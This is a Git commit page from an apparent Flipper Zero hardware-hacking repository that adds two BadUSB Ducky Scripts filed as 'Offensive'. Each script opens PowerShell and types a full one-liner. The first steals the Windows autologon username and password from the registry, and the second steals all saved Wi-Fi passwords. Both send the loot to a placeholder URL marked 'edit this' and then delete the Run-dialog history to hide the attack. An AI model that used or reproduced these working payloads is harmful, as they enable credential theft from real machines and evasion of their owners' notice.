Hardware-Hacking/flipperzero
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add files via upload

Browse Source
This commit is contained in:
Zarcolio
2023-07-27 16:55:04 +02:00
committed by GitHub
parent 60fb59106a
commit 81fa732ade
2 changed files with 58 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
BadUSB/Ducky Scripts/Offensive/Exfill-Default-Pwd-Windows.txt
+29
View File
@@ -0,0 +1,29 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Steals HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword
REM Exfills it via http://127.0.0.1 (edit this)
REM Cleans up last opened MRU listing ("powershell")
REM Press button to close MS Edge.
DELAY 1000
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 2000
ALTCODE $a=(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultUserName" -ErrorAction SilentlyContinue);$b=(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultPassword" -ErrorAction SilentlyContinue);if($a -and $b -and $b.Trim() -ne ''){$c=[System.Text.Encoding]::Unicode.GetBytes($a);$d=[System.Text.Encoding]::Unicode.GetBytes($b);$e=$c+[System.Text.Encoding]::Unicode.GetBytes(":")+$d;$f=[Convert]::ToBase64String($e);Write-Output "DefaultUsername: $a";Write-Output "DefaultPassword: $b";Start-Process "microsoft-edge:http://127.0.0.1?secret=$f"}else{Write-Output "Default credentials not found in the registry or are empty."};$g=[Microsoft.Win32.Registry]::CurrentUser;$h='Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU';$i=$g.OpenSubKey($h,$true);if($i -ne $null){$j=$i.GetValueNames();if($j.Length -gt 0){$k=$j[$j.Length-1];$i.DeleteValue($k)}};Exit
ENTER
WAIT_FOR_BUTTON_PRESS
ALT F4
BadUSB/Ducky Scripts/Offensive/Exfill-Wifi-Pwd-Win10.txt
+29
View File
@@ -0,0 +1,29 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Steals wifi passwords (uptil win10, win11 needs admin for all passwords)
REM Exfills it via http://127.0.0.1 (edit this)
REM Cleans up last opened MRU listing ("powershell")
REM Press button to close MS Edge.
DELAY 1000
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 2000
ALTCODE $base64output=[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(((netsh wlan show profiles|Select-String "All User Profile\s+:\s+(.+)$"|ForEach-Object{$_.Matches.Groups[1].Value})|ForEach-Object{ "Wifi: $_`r`n";netsh wlan show profile name=$_ key=clear|Select-String "Key Content\s+:\s+(.+)$"|ForEach-Object{"Password: $($_.Matches.Groups[1].Value)`r`n"}})-join ""));Start-Process "microsoft-edge:http://127.0.0.1?secret=$base64output";$HKCU = [Microsoft.Win32.Registry]::CurrentUser; $RunMRU = 'Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU'; $RunMRUKey = $HKCU.OpenSubKey($RunMRU, $true); if ($RunMRUKey -ne $null) { $values = $RunMRUKey.GetValueNames(); if ($values.Length -gt 0) { $lastValue = $values[$values.Length - 1]; $RunMRUKey.DeleteValue($lastValue)}};Exit
ENTER
WAIT_FOR_BUTTON_PRESS
ALT F4